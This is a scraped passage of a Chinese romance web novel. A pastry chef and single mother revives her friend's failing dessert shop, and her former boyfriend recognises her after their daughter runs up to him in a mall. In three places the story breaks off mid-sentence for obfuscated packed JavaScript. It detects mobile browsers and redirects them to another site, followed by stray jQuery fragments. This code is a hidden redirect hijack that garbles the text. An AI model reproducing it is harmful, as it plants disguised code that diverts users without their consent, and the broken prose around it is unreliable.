面对丽娜给出的压力,梁音脸上表情没什么变化,不疾不徐地说:“菲尔纳丽是我回国后第一家给我抛出橄榄枝的餐厅,甚至是在我身上还有官司未解决的情况下。我很感谢贵餐厅对我的信任和看重,因此我的第一选择也是菲尔纳丽。至于薪水,甜品师拿多少薪水,看的是她的能力和厨艺。菲尔纳丽这几年一直停滞在二星无法再进一步,找我来不正是想寻求突破。我的能力如何,相信我之前做的十份甜品已经给出了答案,否则我今天也不会受邀坐在这里。” 她回答得不卑不亢,从容有余。 丽娜暗自点了点头。 不愧是顶级餐厅出来的甜品师。 这位梁小姐,来菲尔纳丽仅仅做了十份甜品,就大受好评,交口称赞,甚至还得到一个贵人的十分青睐。菲尔纳丽不会错过这样的天才甜品师。 丽娜没有问题了。而这时梁音不疾不徐地提出自己的要求,“我来这里,也是要与贵餐厅商议,因我还有一个女儿要照顾,所以我无法在餐厅常驻,我的工作时间,只到下午四点为止。” “梁小姐,虽然您很厉害,但这个要求是否过于苛刻了呢?我们可是给了您双倍的薪水。”徐然忍不住出声。 梁音:“徐经理,我虽然只工作到下午,但是我会给贵餐厅出一份特制的甜品菜单。我保证,这是在其他餐厅都没有的。而顾客想要吃到我的甜品,必须提前预约,在特定的时间段,这何尝不是一种噱头呢。我也相信以我的水平,足以匹配这样的噱头。您可以定一个期限,若我无法在规定的时间完成您要求的营业额,这段时间的薪水我愿无偿奉还。” 徐然静静看着她:“梁小姐真自信。” 梁音平静回视:“绝对的实力,就是我的底气。” 办公室里寂静了三秒。 菲尔纳丽的三位高管互相看了眼,接着一起站了起来。 平庸才需要委曲求全,梁音在甜品上的顶尖天赋,足以让她傲然甜品界,无惧考核。 他们菲尔纳丽需要的正是这样的天才甜品师。 徐然对梁音伸出手:“梁小姐的条件,我们答应了,希望梁小姐也能达到我们的目标而不是几句漂亮的空话。接下来的时间,我们静待梁小姐能和菲尔纳丽一起创造新的辉煌。那么现在,梁小姐,欢迎加入菲尔纳丽。” 梁音也笑起来,伸手回握:“谢谢。” — 从菲尔纳丽回来,时间已经到中午了。 意意坐在地板上玩着她的积木,而明颜刚刚从厨房里端出一盘烧好的可乐鸡翅。 “回来啦,刚好洗手吃饭吧。”明颜直接端着菜往桌子那边走,眼神都没直视她。 梁音总觉得她看起来怪怪的,有一种……心虚的感觉? “怎么了你们?” 明颜身体一僵,背对着她,支支吾吾的。下一秒狠心地说:“我今天……” 梁音:“?” “我今天……不小心撞到你女儿的头了。”明颜还是决定保守这个秘密。 意意现在已经够伤心的了。 要是她这个阿姨还告状,对小孩儿多残忍啊,而且她答应过意意不告诉梁音的。 梁音看了她们两个一会儿。 走过去把女儿抱起来,果然看见她眼眶红红的。 “没事的,让妈妈看看。” 意意用力摇着小脑袋,趴在妈妈肩头,哽咽着说:“不是的,明颜阿姨没有撞到我的头,是意意不乖,妈妈别问了……” 说完就闭着小嘴巴,什么都不说了。 梁音拍着抽噎的女儿,细声细气安抚她:“意意有小秘密了,不想告诉妈妈是不是?” “嗯……” “没关系,妈妈不问了,也不问明颜阿姨,意意别难过好不好?等哪天你愿意告诉妈妈,妈妈再问。” 虽然女儿才五岁,但是梁音从小在孩子面前就很守信用,也尊重女儿。她看起来很丧气,既然暂时不想说,她就不问了。 她和明颜在一起,想来也出不了什么大事,可能是意意犯了什么小错? 小孩子犯错是正常的,但要慢慢教,不能一直逼问。 算了,就由她们去吧。 意意很快就被哄好了,吃完饭看了一集小猪佩奇就乖乖地睡午觉去了。 明颜还有点心虚,吐了吐舌头,坐在客厅干脆看起了电视。 说实话,意意现在这么伤心,她要负很大的责任的。孩子小不知道什么,她也不懂事,难道她还不知道霍景闻是什么人么,怎么就能看孩子可怜,就带她去见她爸了呢! 结果好了,霍景闻的冷漠无情给心心念念的意意幼小的心灵造成多大的伤害啊。 回来后看着孩子可怜巴巴的脸,她是连霍景闻的名字提也没敢再提一下。 可是意意还是难过了一上午。 小孩才五岁,被自己的爸爸这样冷漠对待,肯定很难过的啊。 明颜真是想打自己两巴掌了,竟然做出这种愚蠢的事! …… 意意睡完午觉醒来还是一副失魂落魄的样子。 可是梁音太会哄小孩了,午休时间抽空做了一个小小的Q版甜甜圈放在意意手心,绘声绘色的说:“一个小女孩去森林里找魔法师拿了一瓶药水,她说想变成这个世界上最可爱最开心的女孩。魔法师拿出一个甜甜圈给她说,【哦,我的小女孩,只要吃掉这个魔法甜甜圈,就是这个世界上最可爱最快乐的人了。现在你能告诉我你的名字吗,我将为它施上魔法。】” 意意高兴地手舞足蹈,得意地说:“意意,我的名字叫梁从意。” 梁音点点头:“啊,原来你叫梁从意呀,魔法师记下来了,那么现在,吃掉这个魔法甜甜圈吧。” 意意大声答:“嗯嗯!” 看着拿到甜甜圈快乐地啃起来的意意,明颜忍不住对梁音比了个大拇指。 可以,太可以了。 这娃给她哄的,一愣一愣的。 梁音收拾好东西,准备跟明颜一起出发去甜品店里,得知明颜今天根本没开业,不赞同的摇了摇头。 明颜嘟了嘟嘴,颓丧地说:“反正也没生意。” 干脆关门好了。 投进去的钱赔进去一大半了,再继续开下去不知道还要赔多少。 梁音收好东西拉着她出门:“做生意贵在持之以恒,怎么能中途就放弃。” 两人一娃来到店里,梁音洗了手,把买来的食材带进后厨开始准备。 下午人确实不多,梁音也没有多做,每种就做了几份,避免卖不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716420|189337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去造成浪费。 在店里忙碌的时间很快,眼看日薄西山,进来店里的人没有几个,还有看到价格就被吓出去的,真正点单的一下午不超过五个。 虽然每个客人品尝到甜品后都露出惊艳的表情,并且把东西通通吃光,但也改变不了店里生意凋零的事实。 明颜丧气极了:“我说了吧,连成本都赚不回来,还不如干脆不开。” “我把店开在这里就是最大的错误,甜品做的再好吃,价格昂贵大部分学生都吃不起,降价又完全无法盈利,纯纯做慈善。” 梁音在电脑上正在做什么,听到她的分析也认同:“是的,今天的情况我看到了,店里甜品的价格不适合普通学生,这意味着我们做不了大部分学生的生意。” 连梁音都这么说,明颜更觉得自己的店没救了。 当初兴致勃勃开了这个甜品店,除了自己的积蓄,她还向爸妈借了十万块,夸下海口一定会赚钱,可是现在……她不仅没有赚到钱,甚至几个月下来,已经亏了将近三十万了。 她的人生怎么这么失败。 明明她和梁音一起开始学的甜品,梁音已经成为了米其林三星的甜品主厨,而她呢,混成这个鬼样子。 梁音的海报已经做好了,发给明颜。走过去拍拍她的肩膀:“颜颜,别否定自己,你的手艺和创意都没问题,完全有能力经营一家甜品店,一时的失败不能代表什么。” “虽然你选的地方不太好,注定做不了大部分学生的生意。所以我们反其道而行之,只做少部分人的生意就好。我做了一份特制菜单,价格提高了几倍,完全排除了普通学生进来的可能。只做有钱学生的私房甜品。每日还有限定品类,只做十份。当然,我们这里,也要重新布置一下。” 明颜睁大眼睛:“这样能行吗?会不会更卖不出去了?” 梁音弯了弯眼,“任何事业的成功都离不开实力和运气,实力我们已经有了,我相信这缺少的运气也可以靠实力补齐。如果你也相信,那我们就,试试?” “好!试试!”明颜忽然打起了精神,反正现在已经半死了,大胆试一试,也没什么不可以! 梁音让她放心:“就算亏了也不怕,颜颜,你还有我呢。” 梁音的话就像是冰天雪地里传来的一股暖流,让她在绝望之中,感受到了希望的温度。 再艰难也不会丧失的勇气和信心,无论何时何地,梁音好像都不会束手无策,都有解决办法,温柔,坚定,又强大。 只要有梁音在,她永远不会走进绝路,永远,都有依靠。 这是一种很难得的安心。 她好幸福,有这么好的朋友。 “呜呜呜音音,我好爱你。拼了,就算破产也拼了!”明颜忽地紧紧抱住她。 梁音回抱住她,笑着说: “我怎么会让你破产呢。” — 按照梁音的策划,她们一起动手,把甜品小屋重新布置了一下,将整个店的风格都换成了清新幽静的风格。 里面很多的饰品摆件都是梁音和她一起去二手市场淘的,不贵,但是独一无二。 现在人,最追求的就是独一无二。 就这样,三天后甜品小屋重新开业,而现在时间已经到了八月底,有部分学校已经开学了,街上的人明显多了起来。 重新开业的第一天,明颜将打印好的神秘菜单放在门口。 她们虽然故弄玄虚,做饥饿营销,但是也有真手艺。就是不知道这些有钱的学生会不会买账。 明颜一整天都有些坐立不安,紧张到意意小猪佩奇都不看了,一直陪在她身边。 看到明颜阿姨这么忧虑,妈妈一直在后厨忙,试新的甜品,妈妈以前从没有这样过的。才五岁的宝宝好像也感到了危机,可惜她才读幼儿园,没办法出去赚钱,只能跟着明颜身后,小大人一样叹气。 等她长大赚到了钱,一定给妈妈和明颜阿姨。 夏天的阳光晒得人十分燥热。 外面时不时的蝉鸣更让人郁闷。 明颜一边剪宣传视频一边看着空旷的店里,内心再次产生了一种浓重的挫败感,她觉得,这次可能又要失败了。 还劳累音音陪她白忙一场,眼看日头西斜,她站起来打算去后厨叫梁音别忙了。 这时门口的蝴蝶风铃摇晃了一下,发出清脆悦耳的响声。 明颜一转头,就看见几天前来找茬的那个叫夏夏的女生,身后带着两三个朋友走了进来,态度还是像之前一样傲娇:“主厨姐姐,听说你今日有特制的限定甜品,我们来试试。” 梁音从后厨走出来,笑意盈盈地和尹夏打声招呼:“欢迎你,夏夏小姐。” 9. 第 9 章 尹夏带着她三个朋友找了个竹藤秋千坐下,院子里没有复杂浓重的人工香水味,只有伴随着微风和小院子里绿植清新天然的气息,让人心情都舒适了不少。 虽然这个小院不大,但是布置自然雅致,简单又不失格调,而且不是外面千篇一律的网红风格,这里的每样摆件装饰都是独特的。 不过几天,这个甜心小屋就发生了翻天覆地的变化,本来尹夏的朋友们还不相信尹夏说的话,现在一看,还没吃到甜品心底的疑虑已经消失一半了。 “今天有什么特色甜品啊,主厨小姐。”尹夏撑着下巴问。 梁音走出来为她们介绍:“今天的菜单有奶酪泡芙,芝士用的是孔泰芝士。香缇奶油芒果冰,新鲜现烤的白面包。最后,是我独家设计的一款巴斯克。” 尹夏听她这么介绍,和朋友商量了一下:“那就每样都来一份,我和朋友说了,主厨姐姐做的甜品好看又好吃,可不要让我们失望啊。” 梁音点了点头:“请稍等。” 在梁音准备甜品期间,明颜为她们上了一壶花茶,介绍:“这是来埃塞俄比亚一款咖啡的豆,再经过我们音音的调制,味道很不错,请尝尝看。” 尹夏点了点头,但是她们是来吃甜品的,对咖啡不太感兴趣。 几个女孩子在等待的时候一边讨论着暑假都去了哪个国家旅游,互相交换欣赏着拍到的绝美照片,时间不知不觉流走,等她们讨论得差不多了,梁音端着甜品走了出来。 “第一道,奶酪泡芙,搭配了焦糖碎坚果,咸甜口感适中。” 明颜跟着端出第二道甜品,整颗切得完美的芒果上,叠加一一块椭圆形状的冰淇淋,最上层是细碎的冰沙,细腻的奶油融合进冰沙里,像细碎的蛋壳。 紧接着是烤的很香的白面包。 这三道甜品一上来,尹夏和她的朋友们品尝完觉得还不错,但也没有多少惊艳。这些在随便一家米其林都可以吃到,虽然精致,却算不上特别。 梁音走进后厨,端出最后一道巴斯克:“还有最后一道,是我的独家设计,概不外传哦。” 当这道巴斯克端出来时,饶是见多识广的尹夏也惊叹了一声。 没别的,真是太精美了,说是美轮美奂的也不为过。 银白餐盘上的巴斯克分为两层,哦不,应该说是三层。最底下是泛着光泽的杏色胚体,奶香十足,溶溶欲滴,第二层是粉色的,带着人工画出来的纹理。最漂亮的是最上面一层,一半由饼干,各种精心雕刻的水果巧妙搭建的欧式城堡尖顶,另外一半是用抹茶粉和巧克力构建的如真是幻的青翠园林。结合整体一观,便是一座微型的公主城堡,带着童话般的梦幻与精致。 这已经不能说是一份甜品了,简直就是美不胜收的艺术品。 梁音把这份巴斯克端出来时,成功收到了几个女生的惊叹声。 “哇……” “真漂亮。” “夏夏说得没错,真是宝藏甜品店啊。啊啊啊我先拍个照。” “我也要拍我也要拍,回去发个朋友圈。” 尹夏看着朋友们争先恐后的拍照,心里也油然升起一种自豪感。 梁音做的甜品自然是好吃的,除了那份巴斯克,其他的甜品都被吃光了。而那份巴斯克,尹夏要打包回去。因为不好装盘,梁音干脆连餐盘一起打包给她,并提醒:“时间久了味道会逊色一点哦。” “没关系。”反正她也是带回去给她们看的。 用完下午茶,尹夏让朋友们先走,她留下来还有一件事。 “主厨姐姐……”她迟疑开口。 “你可以叫我sherry。” “sherry,我承认你真是一等一的甜品大师,做的甜品好吃又好看。以后我会多多带我的朋友们来光顾的。” “谢谢你,夏夏同学。”梁音看出她的羞于启齿,就主动问,“你是有什么事么,没关系,你直接说就好。” “好吧,那我也不扭捏了。”尹夏直接说明来意,“你做的甜品真的真的超级好吃,精美还上档次,我也知道你要经营甜品店时间不多,但是我诚恳地邀请你,请抽出一天时间帮我做一个百人份的茶歇。报酬的话……因为我和哥哥现在资金有限,只能给出三百元一位的价格,当然这个价钱我肯定不要求你做那些高难度的艺术品,就是稍微好看又上档次的甜品就好。” “你可以认真考虑一下我的提议。虽然我这次给的钱不多,依照你现在的地位和厨艺,这个报酬肯定是低了。但是以后我们家或者我的朋友们要做茶歇,第一时间肯定都会找你。相当于给你介绍不少的人脉,对你和朋友的店,以及你自己的名气都会有提升……” 尹夏绞尽脑汁试图说服梁音。 她的要求很高,第一次和哥哥创业组建了战队,茶歇想办得有档次,要求至少有五星级大酒店的水准,却因为家里断了资金给不出相应的价钱,所以她自己也没有把握梁音会接,只能尽全力说服了。 而且她说的都是实话。未来她一定会给梁音介绍更多的客户,而且她不会只办一次茶歇……但是这些目前对梁音来说只是空话而已,这才是她犹豫忐忑的原因。 毕竟梁音曾经是三星米其林的甜品主厨……只给三百一位的价格确实太少了…… 梁音看着没什么底气的尹夏,看出了她的不好意思。 三百一位的价格确实不算高,但是……借着这个机会打出甜心小屋的名气,是个很好的机会。 这样以后除了日常营业,还可以接茶歇的单,或者转战专门做茶歇也不是不可能。 她转头看了看明颜,见到明颜眼底的激动,就知道她是想做的。 明颜已经激动坏了。 三百一位的茶歇,加起来收入也有三万了,除去成本啥的,少说一天就能赚个一半,明颜当然激动得要命。 梁音转头笑着对尹夏说:“夏夏,这个茶歇,我们接了。” 同意了。 尹夏大松一口气,也忍不住高兴起来:“谢谢你,sherry。” …… 接下这个茶歇,两方都觉得赚了,也是难得。 明颜为接下来的一万五高兴得不行。 梁音却在思考,她们这个甜品店的经营方向要稍微改一改了。 首先要做的,就是换个名字。 甜心小屋这个名字亲民,对学生这个客群是适用的。但是不够大气,不够高端。 明颜看梁音这么为她的甜品店计划,很感动,要不是音音,她的店早就倒闭了,怎么可能还有机会接下一个百人茶歇。 音音好心帮她,她也不能让音音免费为她忙活。 明颜去做了份合同出来,放在梁音面前。 “音音,这个店虽然是我的,但是起死回生靠的全是你。我想过了,这个店以后我们就一人一半,我们一起努力把这个店经营下去。” 梁音:“这不太合适……” 明颜阻止她:“什么都别说,把这合同签了就完了。” 梁音接过合同看了眼,拿起笔,把其中的百分之五十占股改成二十:“颜颜,我还有菲尔纳丽的工作,大部分经营这个店的人是你,所以,给我百分之二十就足够。” “好。” 明颜没有继续推辞,她也知道音音能收下这百分之二十已经很不容易了。 “我想到了,我们甜品店的名字!”明颜眼睛一亮,灵感来了。 “叫什么?” “就叫颜音!怎么样?” 梁音想了想:“我觉得……” “非常好!” “好,那咱们就把名字改成这个!” 这是开店以来明颜最高兴的一天。 从今以后,这不是一家普通的甜品店,而是开在闹市深处的一家甜品工作室——颜音。 — 做百人份的茶歇不是一个小的工程。 列出了要做的甜品之后,首先,她们得去采买一些食材。 梁音要的一款抹茶粉没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716421|189337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有了,网上买来不及,她们打算去商场看看。 意意到了超市以后就像鱼儿进了水,推了一个小推车就要去货架上拿薯片。 薯片整整塞了一推车,梁音看得眉头都皱起来了,试图和女儿讲道理:“不可以,不能吃太多薯片。” 说完准备把她推车里的一半薯片放回去,意意耍赖不肯放,抿着小嘴倔强的要买。 像头小倔驴。 她也不哭,就是眼巴巴的盯着梁音,小手握着推车握得紧紧的不肯放。 眼看着就是一场母女拉锯战。 虽然意意被梁音哄好了,但是娃也受了不小的打击,这两天看着都有些丧眉搭眼的。好不容易孩子想买些薯片,开心一点,明颜都不忍心阻止了,对梁音说:“算了,让孩子买吧。” 她对梁音使了个眼色,大不了买回去她们偷偷吃掉好了。 梁音叹了一口气,没继续阻止。 买完了抹茶粉和一些食材走出超市,意意屁颠屁颠拎着自己一大袋薯片找了个角落,努力地要把薯片塞进她的小苹果包包里。 梁音拦住明颜,决定审讯她。 意意这次很反常,这两天心情都不太好,这是从未有过的。 虽然她之前答应了意意不过问,但是在一个妈妈的担心之下,她要食言了。 所以她决定威逼明颜,让她坦白从宽。 明颜到今天也后悔不迭,其实也早就想说了。 她真是做了个非常错误的决定——千不该万不该,她也不该看意意可怜,就真的带她去看她那个冷漠的爸爸。 两天下来,明颜怕极了这件事对意意幼小的心灵造成伤害,如果真的给孩子造成了阴影,那她的罪过就大了。 想来想去,她还是决定违背她和意意的约定,把这事告诉梁音。 “她当时孤零零的一个人在那里玩,还乖巧的给我做了个爱心,然后哀求我带她去找爸爸,她还怕你伤心,不让你知道,说只去看一眼。我心想,这么乖这么懂事的宝贝,我就带她去看一眼就走……” 明颜把前因后果完完全全说了一遍,一边说一边忏悔,当时不该心软。又不住的道歉,早知会这样,她打死也不会带孩子去的。 梁音一个人把孩子好好的带这么大多么不容易,要是给意意造成了心理阴影,她万死难辞其咎。 梁音听完没有多说什么。 事情已经发生了,现在再来追究责任没有意义。 意意是个很乖的小孩,又萌又可爱,两岁起就能哄得周围的叔叔阿姨一口一个心肝宝贝的叫,能把明颜哄昏头也正常。 好在霍景闻没有认出孩子。他没有认出意意,只要意意以后不再和他接触,这事就可以当做从来没有发生过。 至于意意的心理阴影……梁音虽然觉得难办,但是也没有过分担忧。 意意不是个脆弱的小孩,相反,她的女儿很坚强,某些时候还很执拗。 所以梁音更加担心的是…… 她会再次去找霍景闻。 “意意去哪儿了!”明颜惊恐的呼声打断了她的思绪,抬头看去,只见意意待的地方现在空无一人,只有一袋剩下的薯片孤零零的躺在那儿。 梁音心里迅速升起了一丝惊慌,她努力让自己冷静下来,一边给女儿打电话,一边跑出去找人。 她和明颜说话不超过两分钟,这两分钟的时间孩子跑不到哪里去的。至于拐孩子……应该不会,这是个大型商场,到处都有监控。 “颜颜,我从这边去找,你去服务台,找工作人员帮忙发个寻人广播。” “好。” 明颜一刻也不敢停,往服务台跑去。 有个路人看梁音一脸焦急地找孩子,好心地说:“是不是一个背着苹果背包的小女孩,我看到她一个人刚刚坐扶梯下去了,好像是在追什么人。” “好的谢谢。”梁音稍稍松了一口气,赶忙也坐扶梯下楼。 这次,她一定要好好教教女儿不能乱跑的道理。 10. 第 10 章 今天商场里有游戏活动,两个知名的战队在此进行三局娱乐赛,吸引了很多人。 虽说是娱乐赛,但也打得十分激烈,大屏幕上时不时传来被击杀的语音播报。 台下最中间坐着两个年轻男人。 其中个头更高的男人,穿着简单的白色衬衫搭配质感挺括的西裤,勾勒出劲瘦的腰部线条。长腿随意支着,坐姿随意舒展,周身气息带着浑然天成的雍容和上位者的居高临下。 身后一排整齐的保镖也表明了他的身份不简单。 霍景闻凌厉的丹凤眼漫不经心地看着展台上的屏幕,了然这场娱乐赛就是冲他来的。 尹文昭说明来意,在他耳边强烈推荐:“霍少,你看到红方那个打野了吧,长得又帅,手速又快,操作又骚,还有大局观,重点才十八岁,前途一定无量。我为了挖他可是花了不少的钱,要不待会儿我让他下场陪你玩一把?你试试他就知道我说的准没错。我保证你投资我们ZA俱乐部一定是最明智的决定……” 此时大屏幕上,红方打野已经推到了蓝方的水晶,随着一声激昂的“Victory”宣告了红方的胜利。 霍景闻今天是来巡视商场的,中途被尹文昭拉出来看了场比赛。 投资一个游戏俱乐部很简单,他有的是钱。但要他投资,是要看到高回报的。 尹文昭找来的这个打野天分确实很高,但除了打野,尹文昭组建的这个战队的其他人就显得平平无奇了。 在一个团队游戏中,孤掌难鸣。天才虽好,也要有能和他配合的队友。 尹文昭的这个俱乐部,投资回报可不高。投资他,和把钱丢水里有什么区别。 他霍景闻,从不做亏本的生意。 眼看着霍景闻依然无动于衷,尹文昭也觉得有点难办了,他本来以为搬出gm就能打动霍大少的。 此时霍景闻百无聊赖的站起身就走,尹文昭着急的追上去再尝试说服: “霍少,我组建的这个战队,gm排名最高,其他的位置相比没有gm出色,但是你相信我,他们是配合最好的队友。换了排名更高的人,反而不一定能超过现在的成绩。” “我之前就听人说,你霍大少一向不屑所谓的阶级,等级的绝对匹配观念。剩下四个人的排名虽然比不上gm,但是组合在一起打出的成绩就是最好的。而且他们年纪都很小,未来一定有无限可能。烈酒配温水,也可能是绝配不是么。” 霍景闻倏然停下脚步。 尹文昭双眼大睁,没想到竟然有希望,也不知道哪里打动了他,连忙激动地跟上去继续卖力推销:“行不行你到时候亲自来看一眼?后天下午我在俱乐部会办一个欢迎会,欢迎我的新队员们,到时候我让他们当面给你打几场,你再看看他们的配合多么绝妙?” “对了你不是喜欢吃甜品吗,我妹妹这次邀请了一个超级无敌厉害的甜品师来做茶歇,保管你喜欢……” 霍景闻扯了扯嘴角:“怎么,还真把菲尔纳丽的主厨挖过来了?” 尹文昭尴尬地挠了挠头:“这个嘛倒是没有,我现在可没有这个钱请菲尔纳丽的甜品主厨,不过我妹说了,她请的这个甜品师特厉害,曾经还是米其林三星餐厅的甜品主厨,做出来的甜品不仅好吃,还精美到像艺术品……说不定你一吃就爱上了呢……” 尹文昭一个劲儿的夸夸其谈,霍景闻懒得理会。 他又不是见到什么甜品都喜欢。 此时身旁的助理上前提醒说:“小霍总,瞿经理已经在等您了。” “投资的事——” 霍景闻正欲开口,忽然间人群里一个穿着背带裤,有点眼熟的小鬼直直地像个小炮弹一样朝他冲过来,惊喜地抱住他的大腿,“爸爸!” 响亮的童声传遍了周围。 因为是个小孩,连保镖都没有反应过来。 现在她还叫小霍总爸爸,保镖更不敢动作了。 “……” 霍景闻皱起眉头,低头看了一眼,又是这个小鬼! 嫩生生的小脸带着某个女人的影子的小孩。 这是她第二次认错了爸爸,她家的大人是做什么吃的,孩子也不看好。 “你认错——” 看着小孩亮晶晶忽闪忽闪的大眼睛,霍景闻剩下的话堵在嘴里。 这孩子的爸爸真该带她去看看眼睛。 站在原地没动,任由小孩抱着,淡声叫来一个保镖,吩咐:“带这孩子去找爸爸。” 意意巴巴地望着他,不知道为什么爸爸一直不认她,奶声奶气的说:“你就是意意的爸爸呀。” “带、走。”霍景闻沉声。 他很忙,没空也没有多少的温馨浪费在在一个小孩子身上。 而且每次看到这个小孩,他的心情都会格外的烦躁。 或许是因为,看到这张神似梁音的小脸,总会让他产生一些荒谬的猜测和联想。 保镖一看,再不敢耽误,连忙上前抱起了小女孩,准备带她去服务台。 意意被一个黑色衣服的健壮大叔抱起,一点也不配合,在保镖怀里用力的扭了起来,哭唧唧地喊:“爸爸救命呜呜呜……” 小孩可怜的哭声传进在场的人的耳朵里,听得连尹文昭都有点不忍了。 “霍少,这小孩好像缠上你了,对你多依恋啊,不知道的,以为你真是她爸爸呢……” 霍景闻的心情顿时变得有些恶劣,没有心情和他谈论那个认错爸爸的小孩,抬腿就走,没有往后再看哭闹的小孩一眼。 尹文昭连忙跟上,一边说:“不过你真别说,这小孩的眼睛和你就跟一个模子刻出来的。对了,我想起来了,上次在菲尔纳丽,我说和你长得像的孩子,就是她!” 锃光瓦亮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716422|189337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红底皮鞋重重停在光亮的地板上。 “你说什么?” 霍景闻眉心重重一跳,顿时转头,似有些不敢置信地看着尹文昭,锐利的丹凤眼下压,情绪难辨。 尹文昭张着嘴,不知道这霍大少的反应为什么这么大。干巴巴的又重复了一遍:“我说这女孩眼睛长得和你一个模子刻出来的……” 霍景闻:“你上次见到她,是在菲尔纳丽?” 尹文昭愣愣地点头。 “是啊。” 这有什么问题吗? 他刚想开口问一句,霍景闻却直接转身大步朝前走去,一向散漫的人此时步伐几乎带着急促,一边给保镖打电话:“把刚刚那个小女孩抱过来。” 电话里保镖很迟疑地说:“小霍总,那个小孩的妈妈已经找来了,可能没办法……” “她们在哪里?”霍景闻直接打断。 保镖:“就在游戏展台的后面。” 霍景闻挂了电话快步往展台后走去,优越峻冷的脸上冰冷得连表情都凝固了,看不出什么变化。只有凑近了,才能看出下颚有一丝隐晦的紧绷。 游戏展台不远,几十米的距离很快就到。 此时游戏活动结束,围观群众也开始向四方散开,如织人潮,比肩接踵,从霍景闻身前不断走过,挡住他的视线和去路。 他几乎是强硬的分开穿过人群,一步比一步更快,更沉。 终于在视线的尽头,看到一对穿着亲子装的母女。 温柔的女人蹲在小女孩身前,握着她的手,脸上有未散尽的担忧,呼吸还带着急促,教育小女孩:“宝宝,在这里不要乱跑,要跟紧妈妈呀。你不见了,知不知道妈妈和明颜阿姨有多着急,我们都吓坏了。你再不听话,妈妈真的要生气了。” 虽然表情变得严肃,却也没有气急之下就对孩子发脾气,而是徐徐的,温和的和孩子讲道理。 梁音确实是很少生气的,脾气好得要命,过去很多次就算被他惹毛了,也只会温声来一句:“霍景闻,你再这样我真的不理你了。” 小孩儿大概也知道自己让妈妈担心了,可怜巴巴的扑进女人怀里:“对不起妈妈,意意知道错了,下次再也不乱跑了。” 女人抱着孩子,圆润的杏眼弯了弯,抱着孩子轻轻拍了拍。 那明柔弯弯的眼尾,从未变过。 此时人群已经散了大半,霍景闻身前再无人经过遮挡他的视线。 女人那笑意轻浅的脸,清晰明净地落入了他眼中,仿佛在他眼前定格。不再恍然,不再模糊,不再只是午夜梦回的一道幻影。 静静看了好几秒,霍景闻才终于,完全确认。 喉咙滚了滚,缓缓勾起嘴角冷笑了一声。 这次他真的没有认错。 面前这个女人,还真是他不告而别,阔别许久的……前、女、友啊。 11. 第 11 章 在回去的路上,梁音忍不住像唠叨的老母亲,再三和女儿强调不能乱跑。 “能不能告诉妈妈,意意为什么不和妈妈打招呼就下楼呢?” 意意低着小脑袋,看起来闷闷的。面对妈妈的问询,抿着小嘴不说话。 这让梁音很丧气。 她也是第一次当妈妈,没有教育孩子的经验。她只能尽自己所能,保护自己的女儿,希望她健康,快乐的长大。 可是才五岁的孩子,竟然已经对她有了秘密。 意意不想让妈妈伤心,趴进她怀里,搂着她的脖子小声说:“我不想骗妈妈……意意保证,以后绝对不乱跑了,妈妈别生气。” 爸爸不喜欢她,她再也不去找爸爸了。 梁音觉得女儿这次实在倔得有些反常,却又想不到为什么。 女儿哼哼唧唧的趴在怀里,眼皮一点一点落下来,看上去很疲倦。 从逛完超市出来到现在,才五岁的孩子,没受到一点惊吓是不可能的。 看着乖乖巧巧的女儿,梁音叹息了声,也没继续逼问,手掌轻拍着她哄睡。 车里开着空调,明颜把自己套在裙子外面的外套脱下来给意意盖好,怕孩子冻着。 很快小孩儿均匀的呼吸声就传了出来,呼出的气息热乎乎的打在梁音的皮肤上。 这么小的宝宝,连睡觉的小呼噜声都是可爱的。 午后的阳光热烈又明媚,伴随着孩子的呼噜声,有种安宁的感觉。 女儿的到来,虽然有时候会让她操心,但更多的是让她感受到血缘相连的羁绊。一个全心全意依赖自己和自己作伴的小生命,给她带来了很多温暖和幸福。 梁音对现在的生活很知足,很知足了。 这样温馨的日子一直这样下去,就很好。 …… 到做茶歇那天,梁音一大早就起来忙了。虽然她们有两个人,但是要做个百人份的茶歇不是易事。 头天晚上她和明颜把基本的材料和需要先冷藏的都先备好,早上天不亮就去了店里。 梁音不放心意意一个人在家,把她一起带去了店里,让她在店里明颜休息的折叠床上继续睡。 明颜看梁音熟练地哄孩子睡觉,她把意意带得这么好,看起来很轻松的样子,但是只要稍微了解,就能窥见单亲妈妈要付出多少的努力。 “开始吧。”梁音哄好孩子走进来,仔仔细细把手洗干净,再穿上厨师服。 “好。” 尹夏没有规定要有多少品类的甜品,用什么形式,表明按她们的想法来就好。梁音和明颜商量过了,既然是游戏俱乐部办的茶歇,那么她们的主题就要贴近游戏,在摆台上增添了很多游戏的元素,整体风格也更偏向二次元。 梁音昨天晚上还特意手工装饰了一个蔡文姬技能特效的圆形摆台,也有“加油”的意思。 